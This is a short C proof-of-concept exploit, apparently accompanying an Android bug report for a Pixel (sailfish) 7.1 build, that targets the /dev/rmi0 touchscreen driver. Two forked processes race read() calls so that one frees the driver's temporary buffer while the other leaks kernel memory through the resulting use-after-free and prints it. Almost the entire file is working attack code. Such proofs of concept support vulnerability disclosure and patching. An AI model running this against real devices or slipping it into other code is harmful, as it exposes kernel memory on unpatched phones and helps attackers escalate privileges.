/*
 * https://code.google.com/p/android/issues/detail?id=230045
 * google/sailfish/sailfish:7.1/NDE63L/3273814:user/release-keys
 * chengjia4574@gmail.com 20161212
*/
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>

#define REG_ADDR_LIMIT 0xFFFF
int race_read(int fd)
{
	int ret, i;
	char data[REG_ADDR_LIMIT] = {0};
	char rdata[REG_ADDR_LIMIT] = {0};
	pid_t pid;
	uint32_t *rdatap = (uint32_t*)(&rdata[0]);

	pid = fork();
	if(pid<0) {}
	else if(pid == 0) {
		while(1) {
			lseek(fd, 0 , SEEK_SET);
			ret = read(fd, rdata, 64); // this process to leak infomation by uaf
			if(ret<0) {
				printf("write fail %s\n",strerror(errno));
			} else { 
				printf("pid %d succ read %d byte\n",getpid(),ret);
				for(i=0;i<64/sizeof(uint32_t);i++) {
					printf("i:%d, v: 0x%x\n",i,rdatap[i]);
				}
			}
			//sleep(0.5);
		}
	} else {
		while(1) {
			lseek(fd, 0 , SEEK_SET);
#if 1 
			ret = read(fd, rdata, 70); // this process to free rmidev->tmpbuf
			if(ret<0) {
				printf("read fail %s\n",strerror(errno));
			} else printf("pid %d succ read %d byte\n",getpid(),ret);
#endif
			sleep(0.5);
		}
	}

	return 0;
}

	int
main(int argc, char *argv[])
{
	int ret;
	char *path = "/dev/rmi0";
	int fd;
	fd = open(path, O_RDWR);
	if(fd<0) {
		printf("open %s fail %s\n",path, strerror(errno));
		return -1;
	}
	printf("open %s succ\n",path);
	race_read(fd);	
	close(fd);

	return 0;
}
